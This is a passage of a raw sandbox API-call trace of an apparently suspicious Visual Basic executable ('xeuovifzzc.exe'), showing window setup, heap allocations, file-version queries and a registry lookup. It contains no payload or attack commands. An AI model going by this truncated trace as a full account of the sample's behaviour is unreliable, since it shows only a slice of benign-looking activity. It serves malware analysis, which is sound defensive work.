24 [0086.175] GlobalLock (hMem=0x2f10024) returned 0x662ae8 [0086.175] GetBitmapBits (in: hbit=0x10050199, cb=128, lpvBits=0x662ae8 | out: lpvBits=0x662ae8) returned 128 [0086.175] CreateIcon (hInstance=0x400000, nWidth=32, nHeight=32, cPlanes=0x1, cBitsPixel=0x20, lpbANDbits=0x662ae8, lpbXORbits=0x661ad8) returned 0x60211 [0086.175] GlobalUnlock (hMem=0x2f1001c) returned 0 [0086.176] GlobalUnlock (hMem=0x2f10024) returned 0 [0086.176] SelectObject (hdc=0x5e01066f, h=0x85000f) returned 0x10050199 [0086.176] DeleteObject (ho=0x10050199) returned 1 [0086.176] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0086.176] GlobalUnlock (hMem=0x2f1000c) returned 0 [0086.176] SendMessageA (hWnd=0xa02c6, Msg=0x80, wParam=0x0, lParam=0x60211) returned 0x0 [0086.176] GetCapture () returned 0x0 [0086.176] GetCapture () returned 0x0 [0086.176] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x80, wParam=0x0, lParam=0x60211) returned 0x0 [0086.177] IUnknown:Release (This=0x65bff0) returned 0x0 [0086.179] IsIconic (hWnd=0xa02c6) returned 0 [0086.179] IsZoomed (hWnd=0xa02c6) returned 0 [0086.179] GetClientRect (in: hWnd=0xa02c6, lpRect=0x19fbe4 | out: lpRect=0x19fbe4) returned 1 [0086.179] GetWindow (hWnd=0xa02c6, uCmd=0x5) returned 0x70030 [0086.179] GetWindow (hWnd=0x70030, uCmd=0x2) returned 0x6002e [0086.179] GetParent (hWnd=0x70030) returned 0xa02c6 [0086.180] GetWindow (hWnd=0x6002e, uCmd=0x2) returned 0x7005c [0086.180] GetParent (hWnd=0x6002e) returned 0xa02c6 [0086.180] GetWindow (hWnd=0x7005c, uCmd=0x2) returned 0x0 [0086.180] GetParent (hWnd=0x7005c) returned 0xa02c6 [0086.180] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xfc) returned 0x29135c8 [0086.180] GetCurrentThreadId () returned 0x10c0 [0086.180] GetCurrentThreadId () returned 0x10c0 [0086.180] GetCurrentThreadId () returned 0x10c0 [0086.180] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x6) returned 0x209efa8 [0086.180] SetWindowTextA (hWnd=0x7012a, lpString="inter") returned 1 [0086.181] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0xc, wParam=0x0, lParam=0x209efa8) returned 0x1 [0086.181] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1) returned 0x209efb8 [0086.181] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x6) returned 0x209efc8 [0086.181] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x6) returned 0x209efd8 [0086.181] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a208 [0086.182] LoadLibraryA (lpLibFileName="VERSION.DLL") returned 0x74220000 [0086.415] GetLastError () returned 0x0 [0086.416] GetProcAddress (hModule=0x74220000, lpProcName="VerQueryValueA") returned 0x742214f0 [0086.416] GetProcAddress (hModule=0x74220000, lpProcName="GetFileVersionInfoSizeA") returned 0x742214d0 [0086.416] GetProcAddress (hModule=0x74220000, lpProcName="GetFileVersionInfoA") returned 0x742214b0 [0086.416] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f7f4, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0086.416] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", lpdwHandle=0x19f934 | out: lpdwHandle=0x19f934) returned 0x4c4 [0086.416] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x4c4) returned 0x29136d0 [0086.416] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", dwHandle=0x0, dwLen=0x4c4, lpData=0x29136d0 | out: lpData=0x29136d0) returned 1 [0086.416] VerQueryValueA (in: pBlock=0x29136d0, lpSubBlock="\\", lplpBuffer=0x19f938, puLen=0x19f93c | out: lplpBuffer=0x19f938*=0x29136f8, puLen=0x19f93c) returned 1 [0086.416] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x29136d0 | out: hHeap=0x2090000) returned 1 [0086.417] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x1c) returned 0x29136d0 [0088.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Add", cchWideChar=-1, lpMultiByteStr=0x19f92c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add", lpUsedDefaultChar=0x0) returned 4 [0088.346] lstrcmpiA (lpString1="Add", lpString2="Add") returned 0 [0088.359] DispGetParam (in: pdispparams=0x19f970, position=0x0, vtTarg=0x8, pvarResult=0x19f87c, puArgErr=0x19f980 | out: pvarResult=0x19f87c, puArgErr=0x19f980) returned 0x0 [0088.376] DispGetParam (in: pdispparams=0x19f970, position=0x1, vtTarg=0x8, pvarResult=0x19f86c, puArgErr=0x19f980 | out: pvarResult=0x19f86c, puArgErr=0x19f980) returned 0x0 [0088.376] SysStringLen (param_1="VB.HscrollBar") returned 0xd [0088.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Printningens1", cchWideChar=-1, lpMultiByteStr=0x19f834, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Printningens1", lpUsedDefaultChar=0x0) returned 14 [0088.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VB.HscrollBar", cchWideChar=-1, lpMultiByteStr=0x19f818, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VB.HscrollBar", lpUsedDefaultChar=0x0) returned 14 [0088.376] lstrlenA (lpString="Printningens1") returned 13 [0088.376] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x434) returned 0x29136f8 [0088.377] GetCurrentThreadId () returned 0x10c0 [0088.377] lstrcmpiA (lpString1="VB.HScrollBar", lpString2="VB.HscrollBar") returned 0 [0088.377] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xe8) returned 0x2913b38 [0088.377] lstrlenA (lpString="Printningens1") returned 13 [0088.377] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x23) returned 0x2913c28 [0088.377] lstrcpyA (in: lpString1=0x2913c3d, lpString2="Printningens1" | out: lpString1="Printningens1") returned="Printningens1" [0088.377] GetSystemMetrics (nIndex=21) returned 17 [0088.377] GetSystemMetrics (nIndex=3) returned 17 [0088.377] lstrlenA (lpString="ThunderRT6") returned 10 [0088.377] lstrcpyA (in: lpString1=0x19f6cc, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0088.377] lstrlenA (lpString="ThunderRT6") returned 10 [0088.377] lstrcpyA (in: lpString1=0x19f660, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0088.377] GetClassInfoA (in: hInstance=0x0, lpClassName="Scrollbar", lpWndClass=0x19f68c | out: lpWndClass=0x19f68c) returned 1 [0088.378] GetClassInfoA (in: hInstance=0x66000000, lpClassName="ThunderRT6HScrollBar", lpWndClass=0x19f68c | out: lpWndClass=0x19f68c) returned 0 [0088.378] RegisterClassA (lpWndClass=0x19f68c) returned 0xc1a3 [0088.378] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc1a3, lpWindowName=0x0, dwStyle=0x44010000, X=0, Y=0, nWidth=85, nHeight=17, hWndParent=0xa02c6, hMenu=0x4, hInstance=0x66000000, lpParam=0x0) returned 0x70036 [0088.379] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x81, wParam=0x0, lParam=0x19f240) returned 0x1 [0088.380] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x83, wParam=0x0, lParam=0x19f22c) returned 0x0 [0088.380] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x1, wParam=0x0, lParam=0x19f240) returned 0x0 [0088.381] SetScrollRange (hWnd=0x70036, nBar=2, nMinPos=0, nMaxPos=32767, bRedraw=0) returned 1 [0088.381] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0xe9, wParam=0x0, lParam=0x19ee84) returned 0x0 [0088.381] GetScrollPos (hWnd=0x70036, nBar=2) returned 0 [0088.381] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0xe1, wParam=0x0, lParam=0x0) returned 0x0 [0088.382] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0xe9, wParam=0x1, lParam=0x19ef80) returned 0x0 [0088.382] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x5, wParam=0x0, lParam=0x110055) returned 0x0 [0088.382] GetFocus () returned 0x0 [0088.382] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0088.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Left", cchWideChar=-1, lpMultiByteStr=0x19f950, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Left", lpUsedDefaultChar=0x0) returned 5 [0088.384] lstrcmpiA (lpString1="Left", lpString2="Left") returned 0 [0088.384] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.384] MonitorFromWindow (hwnd=0x70036, dwFlags=0x2) returned 0x10001 [0088.384] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x19f650 | out: lpmi=0x19f650) returned 1 [0088.384] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.384] GetWindowRect (in: hWnd=0x70036, lpRect=0x19f650 | out: lpRect=0x19f650) returned 1 [0088.384] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa02c6, lpPoints=0x19f650, cPoints=0x2 | out: lpPoints=0x19f650) returned -12189860 [0088.384] MoveWindow (hWnd=0x70036, X=415, Y=0, nWidth=85, nHeight=17, bRepaint=1) returned 1 [0088.384] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x46, wParam=0x0, lParam=0x19f5ec) returned 0x0 [0088.386] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.386] GetWindowRect (in: hWnd=0x70036, lpRect=0x19f2e8 | out: lpRect=0x19f2e8) returned 1 [0088.386] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa02c6, lpPoints=0x19f2e8, cPoints=0x2 | out: lpPoints=0x19f2e8) returned -12189860 [0088.386] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x47, wParam=0x0, lParam=0x19f5ec) returned 0x0 [0088.386] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x3, wParam=0x0, lParam=0x19f) returned 0x0 [0088.386] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.386] GetWindowRect (in: hWnd=0x70036, lpRect=0x19f650 | out: lpRect=0x19f650) returned 1 [0088.386] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa02c6, lpPoints=0x19f650, cPoints=0x2 | out: lpPoints=0x19f650) returned -12189860 [0088.386] EnableWindow (hWnd=0x70036, bEnable=1) returned 0 [0088.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Top", cchWideChar=-1, lpMultiByteStr=0x19f954, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Top", lpUsedDefaultChar=0x0) returned 4 [0088.387] lstrcmpiA (lpString1="Top", lpString2="Top") returned 0 [0088.387] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.387] MonitorFromWindow (hwnd=0x70036, dwFlags=0x2) returned 0x10001 [0088.387] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x19f650 | out: lpmi=0x19f650) returned 1 [0088.387] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.387] GetWindowRect (in: hWnd=0x70036, lpRect=0x19f650 | out: lpRect=0x19f650) returned 1 [0088.387] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa02c6, lpPoints=0x19f650, cPoints=0x2 | out: lpPoints=0x19f650) returned -12189860 [0088.387] MoveWindow (hWnd=0x70036, X=415, Y=250, nWidth=85, nHeight=17, bRepaint=1) returned 1 [0088.387] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x46, wParam=0x0, lParam=0x19f5ec) returned 0x0 [0088.390] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.390] GetWindowRect (in: hWnd=0x70036, lpRect=0x19f2e8 | out: lpRect=0x19f2e8) returned 1 [0088.390] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa02c6, lpPoints=0x19f2e8, cPoints=0x2 | out: lpPoints=0x19f2e8) returned -12189860 [0088.390] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x47, wParam=0x0, lParam=0x19f5ec) returned 0x0 [0088.390] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x3, wParam=0x0, lParam=0xfa019f) returned 0x0 [0088.390] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.390] GetWindowRect (in: hWnd=0x70036, lpRect=0x19f650 | out: lpRect=0x19f650) returned 1 [0088.390] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa02c6, lpPoints=0x19f650, cPoints=0x2 | out: lpPoints=0x19f650) returned -12189860 [0088.390] EnableWindow (hWnd=0x70036, bEnable=1) returned 0 [0088.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Visible", cchWideChar=-1, lpMultiByteStr=0x19f94c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visible", lpUsedDefaultChar=0x0) returned 8 [0088.391] lstrcmpiA (lpString1="Visible", lpString2="Visible") returned 0 [0088.391] GetFocus () returned 0x0 [0088.391] ShowWindow (hWnd=0x70036, nCmdShow=5) returned 0 [0088.391] CallWindowProcA (lpPrevWndFunc=0x779f5600, hWnd=0x70036, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0088.391] EnableWindow (hWnd=0x70036, bEnable=1) returned 0 [0088.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Left", cchWideChar=-1, lpMultiByteStr=0x19f954, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Left", lpUsedDefaultChar=0x0) returned 5 [0088.393] lstrcmpiA (lpString1="Left", lpString2="Left") returned 0 [0088.393] GetParent (hWnd=0x70036) returned 0xa02c6 [0088.393] VarCmp (pvarLeft=0x19fa80, pvarRight=0x19fa40, lcid=0x0, dwFlags=0x30001) returned 0x2 [0088.534] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40e20380, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0088.535] VarCmp (pvarLeft=0x19f8f4, pvarRight=0x19f8c4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.535] SafeArrayGetDim (psa=0x19f958) returned 0x1 [0088.535] SafeArrayGetLBound (in: psa=0x19f958, nDim=0x1, plLbound=0x19f860 | out: plLbound=0x19f860) returned 0x0 [0088.535] SafeArrayGetUBound (in: psa=0x19f958, nDim=0x1, plUbound=0x19f864 | out: plUbound=0x19f864) returned 0x0 [0088.535] SafeArrayAccessData (in: psa=0x19f958, ppvData=0x19f874 | out: ppvData=0x19f874) returned 0x0 [0088.535] SafeArrayUnaccessData (psa=0x19f958) returned 0x0 [0088.535] LoadStringA (in: hInstance=0x66000000, uID=0x2718, lpBuffer=0x19f654, cchBufferMax=500 | out: lpBuffer="Out of string space") returned 0x13 [0088.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f654, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0088.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f654, cbMultiByte=-1, lpWideCharStr=0x65b56c, cchWideChar=20 | out: lpWideCharStr="Out of string space") returned 20 [0088.539] VarBstrCmp (bstrLeft="Out of string space", bstrRight="Out of string space", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.539] VarBstrCmp (bstrLeft="tt", bstrRight="tt", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.539] CharLowerBuffW (in: lpsz="A", cchLength=0x2 | out: lpsz="a") returned 0x2 [0088.539] VarCmp (pvarLeft=0x19f8f4, pvarRight=0x19f8b4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.539] GetLocalTime (in: lpSystemTime=0x19f824 | out: lpSystemTime=0x19f824*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x149)) [0088.539] VarDateFromUdate (in: pudateIn=0x19f848, dwFlags=0x0, pdateOut=0x19f824 | out: pdateOut=0x19f824) returned 0x0 [0088.539] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f694, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0088.539] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", lpdwHandle=0x19f7d4 | out: lpdwHandle=0x19f7d4) returned 0x4c4 [0088.540] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x4c4) returned 0x2913c58 [0088.540] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", dwHandle=0x0, dwLen=0x4c4, lpData=0x2913c58 | out: lpData=0x2913c58) returned 1 [0088.540] VerQueryValueA (in: pBlock=0x2913c58, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f7cc, puLen=0x19f7dc | out: lplpBuffer=0x19f7cc*=0x2913cf4, puLen=0x19f7dc) returned 1 [0088.540] wsprintfA (in: param_1=0x19f798, param_2="\\StringFileInfo\\%04x%04x\\%s" | out: param_1="\\StringFileInfo\\040304b0\\CompanyName") returned 36 [0088.540] VerQueryValueA (in: pBlock=0x2913c58, lpSubBlock="\\StringFileInfo\\040304b0\\CompanyName", lplpBuffer=0x19f7d0, puLen=0x19f7dc | out: lplpBuffer=0x19f7d0*=0x5, puLen=0x19f7dc) returned 0 [0088.540] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.541] VarBstrCmp (bstrLeft="Long", bstrRight="Long", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.541] SafeArrayGetDim (psa=0x19f988) returned 0x1 [0088.541] SafeArrayGetLBound (in: psa=0x19f988, nDim=0x1, plLbound=0x19f854 | out: plLbound=0x19f854) returned 0x0 [0088.541] SafeArrayGetUBound (in: psa=0x19f988, nDim=0x1, plUbound=0x19f858 | out: plUbound=0x19f858) returned 0x0 [0088.541] SafeArrayAccessData (in: psa=0x19f988, ppvData=0x19f864 | out: ppvData=0x19f864) returned 0x0 [0088.541] SafeArrayUnaccessData (psa=0x19f988) returned 0x0 [0088.541] VarCmp (pvarLeft=0x19f8f4, pvarRight=0x19f8e4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.541] SafeArrayAllocDescriptorEx (in: vt=0x8, cDims=0x1, ppsaOut=0x19f980 | out: ppsaOut=0x19f980) returned 0x0 [0088.548] SafeArrayDestroyDescriptor (psa=0x6439b0) returned 0x0 [0088.548] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f738, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0088.548] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", lpdwHandle=0x19f878 | out: lpdwHandle=0x19f878) returned 0x4c4 [0088.548] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x4c4) returned 0x2913c58 [0088.548] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", dwHandle=0x0, dwLen=0x4c4, lpData=0x2913c58 | out: lpData=0x2913c58) returned 1 [0088.548] VerQueryValueA (in: pBlock=0x2913c58, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f870, puLen=0x19f880 | out: lplpBuffer=0x19f870*=0x2913cf4, puLen=0x19f880) returned 1 [0088.548] wsprintfA (in: param_1=0x19f83c, param_2="\\StringFileInfo\\%04x%04x\\%s" | out: param_1="\\StringFileInfo\\040304b0\\FileDescription") returned 40 [0088.548] VerQueryValueA (in: pBlock=0x2913c58, lpSubBlock="\\StringFileInfo\\040304b0\\FileDescription", lplpBuffer=0x19f874, puLen=0x19f880 | out: lplpBuffer=0x19f874*=0x63fcd8, puLen=0x19f880) returned 0 [0088.548] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.548] GetLocalTime (in: lpSystemTime=0x19f900 | out: lpSystemTime=0x19f900*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.549] VarBstrCmp (bstrLeft="String", bstrRight="String", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.549] VarCmp (pvarLeft=0x19f974, pvarRight=0x19f964, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.549] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f778, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0088.549] lstrcpynA (in: lpString1=0x19f664, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", iMaxLength=260 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.549] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned 38 [0088.549] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c58 [0088.549] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c88 [0088.549] lstrcpyA (in: lpString1=0x2913c58, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.550] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x18) returned 0x2914408 [0088.550] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c88 | out: hHeap=0x2090000) returned 1 [0088.550] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2914408, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0088.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2914408, cbMultiByte=-1, lpWideCharStr=0x646444, cchWideChar=24 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop") returned 24 [0088.550] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2914408 | out: hHeap=0x2090000) returned 1 [0088.550] VarBstrCmp (bstrLeft="C:\\Users\\FD1HVy\\Desktop", bstrRight=0x0, lcid=0x0, dwFlags=0x30001) returned 0x2 [0088.551] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\VB and VBA Program Settings\\antistrike\\VIKTUALIEFORRETNINGS", phkResult=0x19f8a8 | out: phkResult=0x19f8a8*=0x0) returned 0x2 [0088.551] VarCmp (pvarLeft=0x19f924, pvarRight=0x19f8f4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.551] VarBstrCmp (bstrLeft="G", bstrRight="G", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.551] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40e20380, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0088.551] VarCmp (pvarLeft=0x19f914, pvarRight=0x19f8f4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.551] SafeArrayGetDim (psa=0x19f988) returned 0x1 [0088.551] SafeArrayGetLBound (in: psa=0x19f988, nDim=0x1, plLbound=0x19f8a8 | out: plLbound=0x19f8a8) returned 0x0 [0088.551] SafeArrayGetUBound (in: psa=0x19f988, nDim=0x1, plUbound=0x19f8ac | out: plUbound=0x19f8ac) returned 0x0 [0088.551] SafeArrayAccessData (in: psa=0x19f988, ppvData=0x19f8bc | out: ppvData=0x19f8bc) returned 0x0 [0088.551] SafeArrayUnaccessData (psa=0x19f988) returned 0x0 [0088.551] LoadStringA (in: hInstance=0x66000000, uID=0x2718, lpBuffer=0x19f69c, cchBufferMax=500 | out: lpBuffer="Out of string space") returned 0x13 [0088.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f69c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0088.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f69c, cbMultiByte=-1, lpWideCharStr=0x646444, cchWideChar=20 | out: lpWideCharStr="Out of string space") returned 20 [0088.552] VarBstrCmp (bstrLeft="Out of string space", bstrRight="Out of string space", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.552] VarBstrCmp (bstrLeft="tt", bstrRight="tt", lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.553] CharLowerBuffW (in: lpsz="A", cchLength=0x2 | out: lpsz="a") returned 0x2 [0088.553] VarCmp (pvarLeft=0x19f914, pvarRight=0x19f8e4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0088.553] GetLocalTime (in: lpSystemTime=0x19f86c | out: lpSystemTime=0x19f86c*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.553] VarDateFromUdate (in: pudateIn=0x19f890, dwFlags=0x0, pdateOut=0x19f86c | out: pdateOut=0x19f86c) returned 0x0 [0088.553] GetUserDefaultLCID () returned 0x409 [0088.553] VarI4FromStr (in: strIn="2", lcid=0x409, dwFlags=0x0, plOut=0x19f8b0 | out: plOut=0x19f8b0) returned 0x0 [0088.553] GetLocalTime (in: lpSystemTime=0x19f890 | out: lpSystemTime=0x19f890*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x1, wDay=0xf, wHour=0x9, wMinute=0x24, wSecond=0x2f, wMilliseconds=0x159)) [0088.553] VarWeekdayName (in: iWeekday=1, fAbbrev=0, iFirstDay=0, dwFlags=0x0, pbstrOut=0x19f8a8 | out: pbstrOut=0x19f8a8*="Sunday") returned 0x0 [0088.553] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19f760, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0088.553] lstrcpynA (in: lpString1=0x19f64c, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", iMaxLength=260 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.553] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned 38 [0088.553] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c58 [0088.553] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x27) returned 0x2913c88 [0088.553] lstrcpyA (in: lpString1=0x2913c58, lpString2="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" [0088.554] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x18) returned 0x2913e68 [0088.555] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c88 | out: hHeap=0x2090000) returned 1 [0088.555] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x2913c58 | out: hHeap=0x2090000) returned 1 [0088.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 